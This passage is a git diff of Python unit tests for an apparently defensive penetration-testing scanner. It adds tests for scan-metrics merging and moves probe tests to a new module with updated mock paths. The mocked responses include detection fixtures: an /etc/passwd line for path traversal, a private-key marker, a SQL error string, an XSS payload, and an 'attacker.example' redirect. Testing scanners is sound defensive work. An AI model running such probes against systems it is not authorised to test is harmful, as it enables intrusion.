self.assertIn("p95", rt) + self.assertEqual(rt["count"], 4) + + def test_metrics_collector_records_probes(self): + """After recording probes, probe_breakdown has entries.""" + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_probe("_service_info_http", "completed") + mc.record_probe("_service_info_ssh", "completed") + mc.record_probe("_web_test_xss", "skipped:no_http") + d = mc.build().to_dict() + self.assertEqual(d["probes_attempted"], 3) + self.assertEqual(d["probes_completed"], 2) + self.assertEqual(d["probes_skipped"], 1) + self.assertEqual(d["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(d["probe_breakdown"]["_web_test_xss"], "skipped:no_http") + + def test_metrics_collector_phase_durations(self): + """start/end phases produce positive durations.""" + import time + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.phase_start("port_scan") + time.sleep(0.01) + mc.phase_end("port_scan") + d = mc.build().to_dict() + self.assertIn("phase_durations", d) + self.assertGreater(d["phase_durations"]["port_scan"], 0) + + def test_metrics_collector_findings(self): + """record_finding tracks severity distribution.""" + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_finding("HIGH") + mc.record_finding("HIGH") + mc.record_finding("MEDIUM") + mc.record_finding("INFO") + d = mc.build().to_dict() + fd = d["finding_distribution"] + self.assertEqual(fd["HIGH"], 2) + self.assertEqual(fd["MEDIUM"], 1) + self.assertEqual(fd["INFO"], 1) + + def test_metrics_collector_coverage(self): + """Coverage tracks ports scanned vs in range.""" + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + for i in range(50): + mc.record_connection("connected" if i < 5 else "refused", 0.01) + # Simulate finding 5 open ports with banner confirmation + for i in range(5): + mc.record_open_port(8000 + i, protocol="http" if i < 3 else "ssh", banner_confirmed=(i < 3)) + d = mc.build().to_dict() + cov = d["coverage"] + self.assertEqual(cov["ports_in_range"], 100) + self.assertEqual(cov["ports_scanned"], 50) + self.assertEqual(cov["coverage_pct"], 50.0) + self.assertEqual(cov["open_ports_count"], 5) + # Open port details + self.assertEqual(len(d["open_port_details"]), 5) + self.assertEqual(d["open_port_details"][0]["port"], 8000) + self.assertEqual(d["open_port_details"][0]["protocol"], "http") + self.assertTrue(d["open_port_details"][0]["banner_confirmed"]) + self.assertFalse(d["open_port_details"][3]["banner_confirmed"]) + # Banner confirmation + self.assertEqual(d["banner_confirmation"]["confirmed"], 3) + self.assertEqual(d["banner_confirmation"]["guessed"], 2) + + def test_scan_metrics_model_roundtrip(self): + """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics( + phase_durations={"port_scan": 10.5, "fingerprint": 3.2}, + total_duration=15.0, + connection_outcomes={"connected": 50, "timeout": 5, "total": 55}, + response_times={"min": 0.01, "max": 1.0, "mean": 0.1, "median": 0.08, "stddev": 0.05, "p95": 0.5, "p99": 0.9, "count": 55}, + rate_limiting_detected=True, + blocking_detected=False, + coverage={"ports_in_range": 1000, "ports_scanned": 1000, "ports_skipped": 0, "coverage_pct": 100.0}, + probes_attempted=5, + probes_completed=4, + probes_skipped=1, + probes_failed=0, + probe_breakdown={"_service_info_http": "completed"}, + finding_distribution={"HIGH": 3, "MEDIUM": 2}, + ) + d = sm.to_dict() + sm2 = ScanMetrics.from_dict(d) + self.assertEqual(sm2.to_dict(), d) + + def test_scan_metrics_strip_none(self): + """Empty/None fields stripped from serialization.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics() + d = sm.to_dict() + self.assertNotIn("phase_durations", d) + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + self.assertNotIn("slow_ports", d) + self.assertNotIn("probe_breakdown", d) + + def test_merge_worker_metrics(self): + """_merge_worker_metrics sums outcomes, coverage, findings; maxes duration; ORs flags.""" + mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + m1 = { + "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, + "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0, "open_ports_count": 3}, + "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, + "service_distribution": {"http": 2, "ssh": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_web_test_xss": "completed"}, + "phase_durations": {"port_scan": 30.0, "fingerprint": 10.0, "service_probes": 15.0}, + "response_times": {"min": 0.01, "max": 0.5, "mean": 0.05, "median": 0.04, "stddev": 0.03, "p95": 0.2, "p99": 0.4, "count": 500}, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "total_duration": 60.0, + "rate_limiting_detected": False, "blocking_detected": False, + "open_port_details": [ + {"port": 22, "protocol": "ssh", "banner_confirmed": True}, + {"port": 80, "protocol": "http", "banner_confirmed": True}, + {"port": 443, "protocol": "http", "banner_confirmed": False}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 1}, + } + m2 = { + "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, + "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0, "open_ports_count": 2}, + "finding_distribution": {"HIGH": 1, "LOW": 3}, + "service_distribution": {"http": 1, "mysql": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_service_info_mysql": "completed", "_web_test_xss": "failed"}, + "phase_durations": {"port_scan": 45.0, "fingerprint": 8.0, "service_probes": 20.0}, + "response_times": {"min": 0.02, "max": 0.8, "mean": 0.08, "median": 0.06, "stddev": 0.05, "p95": 0.3, "p99": 0.7, "count": 400}, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, + "total_duration": 75.0, + "rate_limiting_detected": True, "blocking_detected": False, + "open_port_details": [ + {"port": 80, "protocol": "http", "banner_confirmed": True}, # duplicate port 80 + {"port": 3306, "protocol": "mysql", "banner_confirmed": True}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 0}, + } + merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) + # Sums + self.assertEqual(merged["connection_outcomes"]["connected"], 50) + self.assertEqual(merged["connection_outcomes"]["timeout"], 15) + self.assertEqual(merged["connection_outcomes"]["total"], 65) + self.assertEqual(merged["coverage"]["ports_in_range"], 1000) + self.assertEqual(merged["coverage"]["ports_scanned"], 900) + self.assertEqual(merged["coverage"]["ports_skipped"], 100) + self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) + self.assertEqual(merged["coverage"]["open_ports_count"], 5) + self.assertEqual(merged["finding_distribution"]["HIGH"], 3) + self.assertEqual(merged["finding_distribution"]["LOW"], 3) + self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) + self.assertEqual(merged["probes_attempted"], 6) + self.assertEqual(merged["probes_completed"], 5) + self.assertEqual(merged["probes_skipped"], 1) + # Service distribution summed + self.assertEqual(merged["service_distribution"]["http"], 3) + self.assertEqual(merged["service_distribution"]["ssh"], 1) + self.assertEqual(merged["service_distribution"]["mysql"], 1) + # Probe breakdown: union, worst status wins + self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") + self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed + # Phase durations: max per phase (threads/nodes run in parallel) + self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) + self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) + self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) + # Response times: merged stats + rt = merged["response_times"] + self.assertEqual(rt["min"], 0.01) # global min + self.assertEqual(rt["max"], 0.8) # global max + self.assertEqual(rt["count"], 900) # total count + # Weighted mean: (0.05*500 + 0.08*400) / 900 ≈ 0.0633 + self.assertAlmostEqual(rt["mean"], 0.0633, places=3) + self.assertEqual(rt["p95"], 0.3) # max of per-thread p95 + self.assertEqual(rt["p99"], 0.7) # max of per-thread p99 + # Max duration + self.assertEqual(merged["total_duration"], 75.0) + # OR flags + self.assertTrue(merged["rate_limiting_detected"]) + self.assertFalse(merged["blocking_detected"]) + # Open port details: deduplicated by port, sorted + opd = merged["open_port_details"] + self.assertEqual(len(opd), 4) # 22, 80, 443, 3306 (80 deduplicated) + self.assertEqual(opd[0]["port"], 22) + self.assertEqual(opd[1]["port"], 80) + self.assertEqual(opd[2]["port"], 443) + self.assertEqual(opd[3]["port"], 3306) + # Banner confirmation: summed + self.assertEqual(merged["banner_confirmation"]["confirmed"], 4) + self.assertEqual(merged["banner_confirmation"]["guessed"], 1) + + + def test_close_job_merges_thread_metrics(self): + """16b: _close_job replaces generically-merged scan_metrics with properly summed metrics.""" + mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + + # Two mock workers with different scan_metrics + worker1 = MagicMock() + worker1.get_status.return_value = { + "open_ports": [80], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 10, "timeout": 2, "total": 12}, + "total_duration": 30.0, + "probes_attempted": 2, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + worker2 = MagicMock() + worker2.get_status.return_value = { + "open_ports": [443], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + "probes_attempted": 2, "probes_completed": 1, "probes_skipped": 1, "probes_failed": 0, + "rate_limiting_detected": True, "blocking_detected": False, + } + } + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + + # _get_aggregated_report with merge_objects_deep would do last-writer-wins on leaf ints + # Simulate that by returning worker2's metrics (wrong — should be summed) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, + "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + } + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + saved_reports = [] + def capture_add_json(data, show_logs=False): + saved_reports.append(data) + return "QmReport123" + plugin.r1fs.add_json.side_effect = capture_add_json + + job_specs = {"job_id": "job-1", "target": "10.0.0.1", "workers": {}} + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) + plugin._redact_report = MagicMock(side_effect=lambda r: r) + + PentesterApi01Plugin._close_job(plugin, "job-1") + + # The report saved to R1FS should have properly merged metrics + self.assertEqual(len(saved_reports), 1) + sm = saved_reports[0].get("scan_metrics") + self.assertIsNotNone(sm) + # Connection outcomes should be summed, not last-writer-wins + self.assertEqual(sm["connection_outcomes"]["connected"], 18) + self.assertEqual(sm["connection_outcomes"]["timeout"], 7) + self.assertEqual(sm["connection_outcomes"]["total"], 25) + # Max duration + self.assertEqual(sm["total_duration"], 45.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 4) + self.assertEqual(sm["probes_completed"], 3) + # OR flags + self.assertTrue(sm["rate_limiting_detected"]) + + def test_finalize_pass_attaches_pass_metrics(self): + """16c: _maybe_finalize_pass merges node metrics into PassReport.scan_metrics.""" + mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_attestation_min_seconds_between_submits = 3600 + + # Two workers, each with a report_cid + workers = { + "node-A": {"finished": True, "report_cid": "cid-report-A"}, + "node-B": {"finished": True, "report_cid": "cid-report-B"}, + } + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "target": "10.0.0.1", + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "workers": workers, + "job_pass": 1, + "pass_reports": [], + "timeline": [{"event": "created", "ts": 1700000000.0}], + } + plugin.chainstore_hgetall.return_value = {"job-1": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin.time.return_value = 1700000120.0 + + # Node reports with different metrics + node_report_a = { + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 1, "end_port": 32767, + "ports_scanned": 32767, + "scan_metrics": { + "connection_outcomes": {"connected": 5, "timeout": 1, "total": 6}, + "total_duration": 50.0, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + node_report_b = { + "open_ports": [443], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 32768, "end_port": 65535, + "ports_scanned": 32768, + "scan_metrics": { + "connection_outcomes": {"connected": 3, "timeout": 4, "total": 7}, + "total_duration": 65.0, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 1, + "rate_limiting_detected": False, "blocking_detected": True, + } + } + + node_reports_by_addr = {"node-A": node_report_a, "node-B": node_report_b} + plugin._collect_node_reports = MagicMock(return_value=node_reports_by_addr) + # _get_aggregated_report would use merge_objects_deep (wrong for metrics) + # Return a dict with last-writer-wins metrics to simulate the bug + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "scan_metrics": node_report_b["scan_metrics"], # wrong — just node B's + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + # Capture what gets saved as pass report + saved_pass_reports = [] + def capture_add_json(data, show_logs=False): + saved_pass_reports.append(data) + return f"QmPassReport{len(saved_pass_reports)}" + plugin.r1fs.add_json.side_effect = capture_add_json + + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._get_job_config = MagicMock(return_value={}) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._build_job_archive = MagicMock() + plugin._clear_live_progress = MagicMock() + plugin._emit_timeline_event = MagicMock() + plugin._get_timeline_date = MagicMock(return_value=1700000000.0) + plugin.Pd = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Should have saved: aggregated_data (step 6) + pass_report (step 10) + self.assertGreaterEqual(len(saved_pass_reports), 2) + pass_report = saved_pass_reports[-1] # Last one is the PassReport + + sm = pass_report.get("scan_metrics") + self.assertIsNotNone(sm, "PassReport should have scan_metrics") + # Connection outcomes summed across nodes + self.assertEqual(sm["connection_outcomes"]["connected"], 8) + self.assertEqual(sm["connection_outcomes"]["timeout"], 5) + self.assertEqual(sm["connection_outcomes"]["total"], 13) + # Max duration + self.assertEqual(sm["total_duration"], 65.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 6) + self.assertEqual(sm["probes_completed"], 5) + self.assertEqual(sm["probes_failed"], 1) + # OR flags + self.assertFalse(sm["rate_limiting_detected"]) + self.assertTrue(sm["blocking_detected"]) + + + diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/tests/test_probes.py similarity index 61% rename from extensions/business/cybersec/red_mesh/test_redmesh.py rename to extensions/business/cybersec/red_mesh/tests/test_probes.py index 90a64e16..007a4484 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes.py @@ -4,29 +4,7 @@ import unittest from unittest.mock import MagicMock, patch -from extensions.business.cybersec.red_mesh.pentest_worker import PentestLocalWorker - -from xperimental.utils import color_print - -MANUAL_RUN = __name__ == "__main__" - - - -class DummyOwner: - def __init__(self): - self.messages = [] - - def P(self, message, **kwargs): - self.messages.append(message) - if MANUAL_RUN: - if "VULNERABILITY" in message: - color = 'r' - elif any(x in message for x in ["WARNING", "findings:"]): - color = 'y' - else: - color = 'd' - color_print(f"[DummyOwner] {message}", color=color) - return +from .conftest import DummyOwner, MANUAL_RUN, PentestLocalWorker, color_print, mock_plugin_modules class RedMeshOWASPTests(unittest.TestCase): @@ -114,7 +92,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -126,7 +104,7 @@ def test_cryptographic_failures_cookie_flags(self): resp.headers = {"Set-Cookie": "sessionid=abc; Path=/"} resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_flags("example.com", 443) @@ -140,7 +118,7 @@ def test_injection_sql_detected(self): resp.text = "sql syntax error near line" resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", return_value=resp, ): result = worker._web_test_sql_injection("example.com", 80) @@ -152,7 +130,7 @@ def test_insecure_design_path_traversal(self): resp.text = "root:x:0:0:root:/root:/bin/bash" resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", return_value=resp, ): result = worker._web_test_path_traversal("example.com", 80) @@ -164,7 +142,7 @@ def test_security_misconfiguration_missing_headers(self): resp.headers = {"Server": "Test"} resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_security_headers("example.com", 80) @@ -181,10 +159,10 @@ def test_vulnerable_component_banner_exposed(self): resp.headers = {"Server": "Apache/2.2.0"} resp.text = "" with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.common.requests.get", return_value=resp, ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.request", + "extensions.business.cybersec.red_mesh.worker.service.common.requests.request", side_effect=Exception("skip methods check"), ): worker._gather_service_info() @@ -211,7 +189,7 @@ def quit(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.ftplib.FTP", + "extensions.business.cybersec.red_mesh.worker.service.common.ftplib.FTP", return_value=DummyFTP(), ): result = worker._service_info_ftp("example.com", 21) @@ -237,7 +215,7 @@ def quit(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.ftplib.FTP", + "extensions.business.cybersec.red_mesh.worker.service.common.ftplib.FTP", return_value=DummyFTP(), ): result = worker._service_info_ftp("example.com", 2121) @@ -270,7 +248,7 @@ def test_software_data_integrity_secret_leak(self): resp.text = "BEGIN RSA PRIVATE KEY" resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_homepage("example.com", 80) @@ -307,7 +285,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): worker._run_web_tests() @@ -348,7 +326,7 @@ def test_cross_site_scripting_detection(self): resp.text = f"Response with {payload} inside" resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", return_value=resp, ): result = worker._web_test_xss("example.com", 80) @@ -416,13 +394,13 @@ def mock_ssl_context(protocol=None): return DummyContextUnverified() with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.create_connection", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.create_connection", return_value=DummyConn(), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.ssl.SSLContext", + "extensions.business.cybersec.red_mesh.worker.service.tls.ssl.SSLContext", return_value=DummyContextUnverified(), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.ssl.create_default_context", + "extensions.business.cybersec.red_mesh.worker.service.tls.ssl.create_default_context", return_value=DummyContextVerified(), ): info = worker._service_info_tls("example.com", 443) @@ -475,13 +453,13 @@ def wrap_socket(self, sock, server_hostname=None): import ssl with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.create_connection", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.create_connection", return_value=DummyConn(), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.ssl.SSLContext", + "extensions.business.cybersec.red_mesh.worker.service.tls.ssl.SSLContext", return_value=DummyContextUnverified(), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.ssl.create_default_context", + "extensions.business.cybersec.red_mesh.worker.service.tls.ssl.create_default_context", return_value=DummyContextVerified(), ): info = worker._service_info_tls("example.com", 443) @@ -505,7 +483,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", + "extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", return_value=DummySocket(), ): worker._scan_ports_step() @@ -533,7 +511,7 @@ def close(self): self.closed = True with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.common.socket.socket", return_value=DummySocket(), ): info = worker._service_info_telnet("example.com", 23) @@ -562,7 +540,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummySocket(), ): info = worker._service_info_smb("example.com", 445) @@ -599,7 +577,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummySocket(), ): info = worker._service_info_vnc("example.com", 5900) @@ -635,7 +613,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummySocket(), ): info = worker._service_info_vnc("example.com", 5900) @@ -662,7 +640,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummyUDPSocket(), ): info = worker._service_info_snmp("example.com", 161) @@ -695,10 +673,10 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.random.randint", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.random.randint", return_value=tid, ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummyUDPSocket(), ): info = worker._service_info_dns("example.com", 53) @@ -727,7 +705,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_memcached("example.com", 11211) @@ -745,7 +723,7 @@ def test_service_elasticsearch_metadata(self): "tagline": "You Know, for Search", } with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.requests.get", return_value=resp, ): info = worker._service_info_elasticsearch("example.com", 9200) @@ -774,7 +752,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", return_value=DummySocket(), ): info = worker._service_info_modbus("example.com", 502) @@ -805,7 +783,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_postgresql("example.com", 5432) @@ -840,7 +818,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_postgresql("example.com", 5432) @@ -872,7 +850,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_mssql("example.com", 1433) @@ -901,7 +879,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_mongodb("example.com", 27017) @@ -913,7 +891,7 @@ def test_web_graphql_introspection(self): resp.status_code = 200 resp.text = "{\"data\":{\"__schema\":{}}}" with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.post", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.post", return_value=resp, ): result = worker._web_test_graphql_introspection("example.com", 80) @@ -928,7 +906,7 @@ def fake_get(url, timeout=3, verify=False, headers=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", side_effect=fake_get, ): result = worker._web_test_metadata_endpoints("example.com", 80) @@ -939,7 +917,7 @@ def test_web_api_auth_bypass(self): resp = MagicMock() resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", return_value=resp, ): result = worker._web_test_api_auth_bypass("example.com", 80) @@ -954,7 +932,7 @@ def test_cors_misconfiguration_detection(self): } resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_cors_misconfiguration("example.com", 80) @@ -966,7 +944,7 @@ def test_open_redirect_detection(self): resp.status_code = 302 resp.headers = {"Location": "https://attacker.example"} with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_open_redirect("example.com", 80) @@ -978,7 +956,7 @@ def test_http_methods_detection(self): resp.headers = {"Allow": "GET, POST, PUT"} resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.options", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.options", return_value=resp, ): result = worker._web_test_http_methods("example.com", 80) @@ -1085,7 +1063,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_redis("example.com", 6379) @@ -1118,7 +1096,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_redis("example.com", 6379) @@ -1151,7 +1129,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_mysql("example.com", 3306) @@ -1169,7 +1147,7 @@ def test_tech_fingerprint(self): resp.text = '' resp.status_code = 200 with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_tech_fingerprint("example.com", 80) @@ -1208,7 +1186,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = modbus_response return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "modbus") @@ -1227,7 +1205,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = b"" return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "unknown") @@ -1247,7 +1225,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][37364], "mysql") @@ -1269,7 +1247,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = mysql_greeting return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][3306], "mysql") @@ -1288,7 +1266,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = telnet_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1307,7 +1285,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - 